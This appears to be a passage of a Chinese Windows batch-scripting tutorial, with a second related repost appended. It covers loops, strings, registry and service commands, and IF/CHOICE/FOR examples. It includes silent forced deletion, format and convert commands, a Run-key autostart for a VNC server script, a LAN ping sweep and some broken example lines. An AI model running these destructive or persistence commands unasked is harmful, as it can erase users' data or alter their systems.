利用 goto 实现程序中常用的 continue 和 break 命令, 其实非常简单

continue: 在 for 循环的最后一行写上一个标签,跳转到这位置即可

break: 在 for 循环的外面的下一句写上一个标签,跳转到这位置即可

Sample: (伪代码)

for /F ["options"] %variable IN (command) DO (

... do command ...

if ... goto continue

if ... goto break

... do command ...

:continue

)

:break

 

四、其它命令

1. ping 命令

测试网络联接状况以及信息包发送和接收状况。但是不能够测试端口。

语法:ping IP地址或主机名 [-t] [-a] [-n count] [-l size]

参数含义:

-t 不停地向目标主机发送数据;

-a 以IP地址格式来显示目标主机的网络地址;

-n count 指定要Ping多少次,具体次数由count来指定;

-l size 指定发送到目标主机的数据包的大小。

Sample: ping 192.168.0.1 -t (不停的测试192.168.0.1,按ctrl+c停止)

Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下所有的局域网电脑)

2. telnet 命令

测试端口使用 telnet IP地址或主机名 端口,使用tcp协议的

Sample: telnet 192.168.0.1 80 (测试192.168.0.1的80端口)

3.color 命令

设置背景及字体颜色

语法: color bf

b 是指定背景色的十六进制数字; f 指定前景颜色(即字体颜色)。

颜色值: 0:黑色 1:蓝色 2:绿色 3:湖蓝 4:红色 5:紫色 6:** 7:白色

8:灰色 9:淡蓝 A:淡绿 B:浅绿 C:淡红 D:淡紫 E:淡黄 F:亮白

如果没有给定任何参数,该命令会将颜色还原到 CMD.EXE 启动时的颜色。

如果两参数一样,视为无效输入。只有一个参数时,设置字体。

4. random 命令

产生随机数(正整数0~)

5. exit 命令

结束程序。即时是被调用的程序,结束后也不会返回原程序

6. shutdown命令

shutdown -s 关机

五、字符串处理

1) 分割字符串,以查看时间为例

%源字符串:~起始值,截取长度% (起始值从0开始;截取长度是可选的,如果省略逗号和截取长度,将会从起始值截取到结尾;

截取长度如果是负数,表示截取到倒数第几个。)

"%time%" 显示如:"11:04:23.03" (完整的时间"hh:mm:ss.tt")

"%time:~0,5%" 显示"hh:mm"(即"11:04"),其中0表示从右向左移位操作的个数,5表示从左向右移位操作的个数

"%time:~0,8%" 显示标准时间格式"hh:mm:ss"(即"11:04:23",前8个字符串)

"%time:~3,-3%"显示"mm:ss"(即从第4个开始,截去最后3个的字符串)

"%time:~3%" 显示"04:23.03"(即去掉前4个字符串)

"%time:~-3%" 显示".tt"(即最后3个字符串)

上面的字串分割格式,也可以用于其它地方,如目录路径:"%cd:~0,10%"

2) 替换字符串

set a="abcd1234"

echo %a% 显示:"abcd1234"

set a=%a:1=kk% 替换“1”为“kk”

echo %a% 显示:"abcdkk234"

3) 字符串合并

由于没有直接的字符串合并函数,只能用笨方法了。

set str1=%str1%%str2% (合并 str1 和 str2)

4) 计算字符串长度

没有现成的函数。如下程序利用 goto形成循环,不断将字符串截短1,并记录截短的次数,到字符串变成空时的次数即长度。

set testStr=This is a test string

:: 将 testStr 复制到str,str 是个临时字符串

set str=%testStr%

:: 标签,用于goto跳转

:next1

:: 判断str是不是空,如果不是则执行下边的语句

if not "%str%"=="" (

:: 算术运算,使num的值自增1,相当于num++或者++num语句

set /a num+=1

:: 截取字符串,每次截短1

set "str=%str:~1%"

:: 跳转到next1标签: 这里利用goto和标签,构成循环结构

goto next1

)

:: 当以上循环结构执行完毕时,会执行下边的语句

echo testStr=%testStr%

echo testStr的长度为:%num%

5) 截取字符串时,需要传递参数

直接 echo %args:~%num%,-5% 没办法想要的字符串,需要如下两步

setlocal enabledelayedexpansion

echo !args:~%num%,-5!

 

六、注册表操作

1) 备份注册表,将[HKEY_LOCAL_MACHINE ... Run]的内容,备份到“c:\windows\1.reg”

reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg

reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg

2) 修改/添加注册表内容

a.一般的添加或修改

reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f

上句解析:“HKCU”是“HKEY_CURRENT_USER”的缩写,不用缩写用全称也可以;

添加名称为“Java_Home”的变量;类型为“reg_sz”,另一种常见类型是“reg_dword”;值为 D:\Java\jdk1.6.0_07;

b.使用变量

set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java

reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f

c.如果注册表的名称有空格,或者数据用特殊符号时

reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f

传入值为(值用双引号括起来的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"

reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f

传入值为(“\”结尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\

d.增加空的内容

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"

e.添加或修改默认值

reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f

这里用“/ve”来代替一般修改时的“/v 变量名”,即可修改默认值了

3) 删除注册表的内容

双引号里面的是注册表的目录,下面两句将删除这目录下的所有信息

reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f

双引号里面的是注册表的目录,下面一句将删除这目录下指定的某个信息

reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f

4) 注册表的常用位置

a.系统启动项:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f

b.系统环境变量:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]

c.当前用户的环境变量:

[HKEY_CURRENT_USER\Environment]

5) 修改注册表之后,结束并重新加载explorer.exe进程,可刷新注册表,令其生效

taskkill /f /im explorer.exe >nul

start "" "explorer.exe"

 

七、系统服务

1) 停止服务:NET STOP 服务名

启动服务:NET Start 服务名

2) 设置启动类型

自动: SC CONFIG 服务名 START= auto

手动: SC CONFIG 服务名 START= demand

已禁用:SC CONFIG 服务名 START= disabled

附:“START= ”等号后面必须要有一个空格。(start还有boot,system两个值)

Sample: SC CONFIG Spooler START= demand (打印机加载项,设置成手动,默认自动)

3) 查看系统服务:start %SystemRoot%\system32\services.msc /s

 

八、setlocal与变量延迟

0) 在没有开启变量延迟的情况下,某条命令行中的变量改变,必须到下一条命令才能体现。

另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行。

example:

set a=4

set a=5 & echo %a%

结果:4

也可以对这种机制加以利用,如下的变量交换

example:

set var1=abc

set var2=123

echo 交换前: var1=%var1% var2=%var2%

set var1=%var2%& set var2=%var1%

echo 交换后: var1=%var1% var2=%var2%

1) 启动批处理文件中环境变量的本地化。本地化将持续到出现匹配的 endlocal 命令或者到达批处理文件结尾为止。

语法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}

enableextension: 启用命令扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。

disableextensions: 禁用命令扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。

enabledelayedexpansion: 启用延迟的环境变量扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。

disabledelayedexpansion: 禁用延迟的环境变量扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。

 

2) 为了能够感知环境变量的动态变化,批处理设计了变量延迟。简单来说,在读取了一条完整的语句之后,不立即对该行的变量赋值,而会在某个单条语句执行之前再进行赋值,也就是说“延迟”了对变量的赋值。

examle:

setlocal enabledelayedexpansion

set a=4

set a=5 & echo !a!

结果: 5

变量延迟的启动语句是“setlocal enabledelayedexpansion”,并且变量要用一对叹号“!!”括起来

由于启动了变量延迟,所以批处理能够感知到动态变化,即不是先给该行变量赋值,而是在运行过程中给变量赋值,因此此时a的值就是5了

另外,启动变量延迟,“%”的变量还是不变

example2:

setlocal enabledelayedexpansion

for /l %%i in (1,1,5) do (

set a=%%i

echo !a!

)

结果,打印从1到5;如果不变量延迟,一个变量也没有打印

 

九、文件处理

1.删除

1) 删除一个文件或多个文件

del /s /q /f d:\test\a.bat

将直接删除d:\test\a.bat,没有任务提示

del temp\* /q /f /s

将直接删除 本目录的 temp 目录的所有文件,没有任务提示

删除文件的时候可以使用“*”作通配符

2) 删除一个空目录

rd /q /s d:\test\log

将直接删除d:\test\log目录,如果log目录里面有文件将无法删除

3) 删除一个非空目录 (必须指定目录名称)

rmdir /q /s d:\test\logs

必须指定目录名称,不能使用通配符

/S 除目录本身外,还将删除指定目录下的所有子目录

/Q 安静模式,带 /S 删除目录树时不要求确认

无论里面是否有文件或文件夹将全部直接删除

2.创建目录

MKDIR [drive:]path

MD [drive:]path

路径有空格时,可以用双引号括起来,也可以用   替代

实践部分:

======================================================================

 

小摘录:

1. 调用其他程序时,对文件的大小写不敏感,文件后缀也可忽略

如:start LeapFTP.exe 与 start leapftp 效果一样,都是运行“LeapFTP.exe”文件

每行的开头的字符串会自动查找程序来运行,还可用双引号引起来(文件名或目录名含空格时必须用)

如:"D:\Program Files\Leap FTP.exe"

"LeapFTP.exe" 可正常运行文件,start "" "LeapFTP.exe" 也可以正常运行文件(注意,第一个参数是窗口显示的标题)

3. copy C:\test\*.* D:\back (复制C盘test文件夹的所有文件(不包括文件夹及子文件夹里的东西)到D盘的back文件夹)

4. dir c:\*.* > a.txt (将c盘文件列表写入 a.txt 中)

5. > 生成文件并写入内容(如果有这文件则覆盖), >> 文件里追加内容

6. md d:\aa (创建文件夹)

7. 在命令末尾加上“>NUL 2>NUL”,表示隐蔽返回信息。

8. 等待用户输入: set /p 变量名=屏幕显示信息。 Sample:set /p pass=请输入密码:

9. 让用户按回车退出

小技巧(替代pause),文件的最后一句:set /p tmp=操作结束,请按回车键退出...

10.设置标题: title JDK安装

11.设置屏幕显示颜色,如绿色: color 0a

12.清屏: cls

13.查看自己的IP:

for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i

echo %ip% (这时的 %ip% 就是自己的IP地址)

 

14. 修改文件的更新日期

copy 文件名+,,>nul (修改为当前时间,如果要修改为指定时间,先修改系统时间,再改回系统时间)

15. 修改文件的后缀名

ren C:\test\*.jpg *.JPG

for /r %%c in (*.jpg) do (ren %%c *.JPG) :: 修改当前目录下的所有文件的后缀名,包括子目录的

16. 修改文件的文件名

rename test.jpg test2.JPG

rename *.jpg *.888.JPG

17. 查看DNS、IP、Mac等

1) Win98: winipcfg

2) Win2000以上: Ipconfig /all

3) NSLOOKUP

18.查看IP上的共享资源,就可以

net view 192.168.10.8

19.共享

A.查看你机器的共享资源: net share

B.手工删除共享

net share 共享资源名称$ /d

注意$后有空格。

C.增加一个共享:

net share mymovie=e:\downloads\movie /users:3

mymovie 共享成功。 同时限制链接用户数为3人。

20.打开某网站

start iexplore.exe http://www.baidu.com

 

实例

1. 生成 reg 文件,运行它,再删除它

echo "更改windows安装文件的路径"

echo Windows Registry Editor Version 5.00 > c:\setupreg.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg

echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg

echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg

:: 写入注册表

regedit /S c:\setupreg.reg

:: 删除注册表文件

del c:\setupreg.reg

 

2.调用了exe文件,结束后没有关闭,解决方法

用start命令运行文件,如:

start LeapFTP.exe 192.168.0.100

 

3.设置系统环境变量

:: 有这个环境变量,则不需再设置,直接结束

if not "%JAVA_HOME%" == "" exit

:: 设置环境变量的地址

set inputJavaHome=%cd%\jdk1.6.0_07

:: 设置环境变量,也可以设置当前用户的变量

set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

echo 正在设置环境变量,请稍候......

reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f

reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f

reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f]

:: 刷新,令环境变量生效

taskkill /f /im explorer.exe >nul

start "" "explorer.exe"

 

4.隐藏某目录的所有文件及文件夹

cd /d 要隐藏的目录(如:D:)

for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)

 

5.在批处理中使用密码。密码为admin,输入正确,跳转到next1 ,若输入密码错误3次,则锁屏。。

@echo off

set num=0

:11

set /p pass=请输入密码:

if "%pass%"=="admin" goto next1

set /a num=%num% + 1

if %num%==3 goto no1

goto 11

:no1

%windir%\system32\rundll32.exe user32.dll,LockWorkStation

goto 11

:next1

echo 密码正确,执行下面的程式

pause

 

6.清空回收站(未成功)

@echo off

del /f /s /q c:\recycler\*.*

::刷新屏幕

taskkill /f /im explorer.exe >nul

start "" "explorer.exe"

 

7.让系统断断续续地鸣叫

@echo off

:begin

:: 发出鸣叫(“”实际就是ASCII码值为7的特殊字符(蜂鸣键beep)

echo

:: 让程序暂停一小阵子

ping -n 1 -l 1 127.1>nul

goto :begin

8.将 FAT 卷转换成 NTFS

利用“CONVERT.exe”进行,解析如下:

CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]

volume 指定驱动器号(后面跟一个冒号)、装载点或卷名。

/FS:NTFS 指定要被转换成 NTFS 的卷。

/V 指定 Convert 应该用详述模式运行。

/CvtArea:filename

将根目录中的一个接续文件指定为NTFS 系统文件的占位符。

/NoSecurity 指定每个人都可以访问转换的文件和目录的安全设置。

/X 如果必要,先强行卸载卷。该卷的所有打开的句柄则无效。

 

程序如下:

@ ECHO OFF

@ ECHO.

@ ECHO. 说 明

@ ECHO --------------------------------------------------------------------------

@ ECHO NTFS是一种磁盘格式。该格式能存放大于4G的单个文件(如高清电影文件),并可对

@ ECHO 文件夹进行加密,但有个缺点是DOS下无法访问。建议D盘及其后的盘使用NTFS格式,

@ ECHO C盘如非必要可以不转换,FAT32与NTFS这两种格式的读写速度几乎是没有差别的。

@ ECHO --------------------------------------------------------------------------

@ ECHO.

convert c: /fs:ntfs

:: D盘也转成 NTFS

convert d: /fs:ntfs

 

9. 获取我的文档

SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"

FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"

:: 复制文件到我的文档

XCOPY /D /E /R /Y /C "%cd%\test.txt" "%myDoc%\test\"

10 获取当前目录路径

cd ./

set CURR_PATH=%cd%

==========================================

实例:

3.IF-ERRORLEVEL

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败

IF ERRORLEVEL 0 ECHO 成功拷贝文件

 

如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

CHO 成功拷贝文件

IF ERRORLEVEL 1 ECHO 未找到拷贝文件

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:

backup

0 备份成功

1 未找到备份文件

2 文件共享冲突阻止备份完成

3 用户用ctrl-c中止备份

4 由于致命的错误使备份操作中止

diskcomp

0 盘比较相同

1 盘比较不同

2 用户通过ctrl-c中止比较操作

3 由于致命的错误使比较操作中止

4 预置错误中止比较

diskcopy

0 盘拷贝操作成功

1 非致命盘读/写错

2 用户通过ctrl-c结束拷贝操作

3 因致命的处理错误使盘拷贝中止

4 预置错误阻止拷贝操作

format

0 格式化成功

3 用户通过ctrl-c中止格式化处理

4 因致命的处理错误使格式化中止

5 在提示“proceed with format(y/n)?”下用户键入n结束

xcopy

0 成功拷贝文件

1 未找到拷贝文件

2 用户通过ctrl-c中止拷贝操作

4 预置错误阻止文件拷贝操作

5 拷贝过程中写盘错误

 

=============================================================

@echo off //不显示shell的命令。

Setlocal //环境改变只适用于这个文件。

%OS% //为当前的操作系统。

Rem //注释一行文本。

Goto 标签 //改变执行顺序,去标签位置.

:标签 //定义一个标签。

Set 变量名=值 //定义变量

Not //取反

Netstat –na //显示当前被点用的端口.

%0 %1 %2 //用于表示批处理文件的参数0为命令,共1-9个参数。

Shift //用于向前一个参数,原1变0,原2变1.每调用一次shift向前一移动一位。

Call //调用其他批处理文件或命令。

Start 命令 参数 //指示出在另一个窗口中开始运行命令。

=============================================================

:: 这段批处理程序可以自动设置Java环境变量

 

@echo off

IF EXIST %1\bin\java.exe (

rem 如输入正确的 Java2SDK 安装目录,开始设置环境变量

@setx JAVA_HOME %1

@setx path %path%;%JAVA_HOME%\bin

@setx classpath %classpath%;.

@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar

@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar

@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar

@echo on

@echo Java 2 SDK 环境参数设置完毕,正常退出。

) ELSE (

IF "%1"=="" (

rem 如没有提供安装目录,提示之后退出

@echo on

@echo 没有提供 Java2SDK 的安装目录,不做任何设置,现在退出环境变量设置。

) ELSE (

rem 如果提供非空的安装目录但没有bin\java.exe,则指定的目录为错误的目录

@echo on

@echo 非法的 Java2SDK 的安装目录,不做任何设置,现在退出环境变量设置。

)

)

 

可能遇到问题

中文乱码

把bat文件的编码改为ANSI,UTF-8在win10我这儿会中文显示乱码。

说明

本文部分内容转载自:http://m18333611647.blog.163.com/blog/static/225533041201422111365439/

posted @

2015-07-04 11:25 

赵青青 

阅读(128875) 

评论(2) 

编辑 

收藏 

举报

会员力量,点亮园子希望

刷新页面返回顶部

公告

Copyright © 2024 赵青青

Powered by .NET 8.0 on Kubernetes

BAT脚本编写教程(比较易懂和全面)_bat脚本编写教程菜鸟-CSDN博客

>

BAT脚本编写教程(比较易懂和全面)_bat脚本编写教程菜鸟-CSDN博客

BAT脚本编写教程(比较易懂和全面)

最新推荐文章于 2023-11-20 13:44:32 发布

致守

最新推荐文章于 2023-11-20 13:44:32 发布

阅读量5w

收藏

323

点赞数

60

分类专栏:

bat&cmd

文章标签:

linux

windows

原文链接:https://blog.csdn.net/happydecai/article/details/78794948?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-14.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%

版权

bat&cmd

专栏收录该内容

42 篇文章

18 订阅

订阅专栏

作者不详。敬意!

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。  echo 表示显示此命令后的字符  echo off 表示在此语句后所有运行的命令都不显示命令行本身  @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。  call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。  pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续  rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为:         命令注释:

    @echo off           不显示后续命令行及当前命令行     dir c:\*.* >a.txt       将c盘文件列表写入a.txt      call c:\ucdos\ucdos.bat    调用ucdos      echo 你好            显示"你好"      pause              暂停,等待按键继续      rem 准备运行wps         注释:准备运行wps      cd ucdos            进入ucdos目录      wps               运行wps  

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为: @echo off format %1

如果执行C:\>f a: 那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为: @echo off type %1  type %2

那么运行C:\>t a.txt b.txt  %1 : 表示a.txt %2 : 表示b.txt 于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

特殊命令

if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

2、if [not] exist [路径\]文件名 待执行的命令  如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys  表示如果存在c:\config.sys文件,则显示它的内容。

3、if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

如:

goto end

:end  echo this is the end

标号用“:字符串”来定义,标号所在行不被执行。

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:     该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:    /C     choices        指定要创建的选项列表。默认列表是 "YN"。

   /N                   在提示符中隐藏选项列表。提示前面的消息得到显示,                        选项依旧处于启用状态。

   /CS                  允许选择分大小写的选项。在默认情况下,这个工具                        是不分大小写的。

   /T     timeout        做出默认选择之前,暂停的秒数。可接受的值是从 0                        到 9999。如果指定了 0,就不会有暂停,默认选项                        会得到选择。

   /D     choice         在 nnnn 秒之后指定默认选项。字符必须在用 /C 选                        项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

   /M     text           指定提示之前要显示的消息。如果没有指定,工具只                        显示提示。

   /?                   显示帮助消息。

   注意:    ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选    择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,    该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的    ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0    的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降    序排列。

示例:    CHOICE /?     CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"    CHOICE /T 10 /C ync /CS /D y    CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"    CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" 屏幕上会显示: 确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):  @echo off  choice /C dme /M "defrag,mem,end" if errorlevel 3 goto end if errorlevel 2 goto mem  if errotlevel 1 goto defrag

:defrag  c:\dos\defrag  goto end

:mem  mem  goto end

:end  echo good bye

此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法: 对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable   指定一个单一字母可替换的参数。 (set)       指定一个或一组文件。可以使用通配符。 command     指定对每个文件执行的命令。 command-parameters              为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:  for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

批处理示例

1. IF-EXIST

1)

首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:  @echo off  IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT  IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后运行它: C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

2)

接着再建立一个test2.bat文件,内容如下:  @ECHO OFF  IF EXIST \%1 TYPE \%1  IF NOT EXIST \%1 ECHO \%1 does not exist

执行:  C:\>TEST2 AUTOEXEC.BAT  该命令运行结果同上。

说明:  (1) IF EXIST 是用来测试文件是否存在的,格式为  IF EXIST [路径+文件名] 命令  (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:  @echo off IF "%1" == "A" ECHO XIAO  IF "%2" == "B" ECHO TIAN  IF "%3" == "C" ECHO XIN

如果运行: C:\>TEST3 A B C  屏幕上会显示: XIAO TIAN XIN

如果运行: C:\>TEST3 A B  屏幕上会显示 XIAO TIAN

在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT,内容如下: @ECHO OFF  XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败  IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件: C:\>TEST4

如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。 因此下面的批处理文件是错误的: @ECHO OFF  XCOPY C:\AUTOEXEC.BAT D:\  IF ERRORLEVEL 0 ECHO 成功拷贝文件  IF ERRORLEVEL 1 ECHO 未找到拷贝文件  IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作  IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作  IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件  用户通过ctrl-c中止拷贝操作  预置错误阻止文件拷贝操作  拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:  backup  0 备份成功  1 未找到备份文件  2 文件共享冲突阻止备份完成  3 用户用ctrl-c中止备份  4 由于致命的错误使备份操作中止

diskcomp  0 盘比较相同  1 盘比较不同  2 用户通过ctrl-c中止比较操作  3 由于致命的错误使比较操作中止  4 预置错误中止比较

diskcopy  0 盘拷贝操作成功  1 非致命盘读/写错  2 用户通过ctrl-c结束拷贝操作  3 因致命的处理错误使盘拷贝中止  4 预置错误阻止拷贝操作

format  0 格式化成功  3 用户通过ctrl-c中止格式化处理  4 因致命的处理错误使格式化中止  5 在提示“proceed with format(y/n)?”下用户键入n结束

xcopy  0 成功拷贝文件  1 未找到拷贝文件  2 用户通过ctrl-c中止拷贝操作  4 预置错误阻止文件拷贝操作  5 拷贝过程中写盘错误

3、IF STRING1 == STRING2

建立TEST5.BAT,文件内容如下:  @echo off  IF "%1" == "A" formAT A:

执行:  C:\>TEST5 A  屏幕上就出现是否将A:盘格式化的内容。

注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。 如:if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT,文件内容如下:  @ECHO OFF  IF EXIST C:\AUTOEXEC.BAT GOTO _COPY  GOTO _DONE :_COPY  COPY C:\AUTOEXEC.BAT D:\  :_DONE

注意:  (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。  (2) 标号的命名规则与文件名的命名规则相同。 (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

6、FOR

建立C:\TEST7.BAT,文件内容如下:  @ECHO OFF  FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C

运行:  C:>TEST7

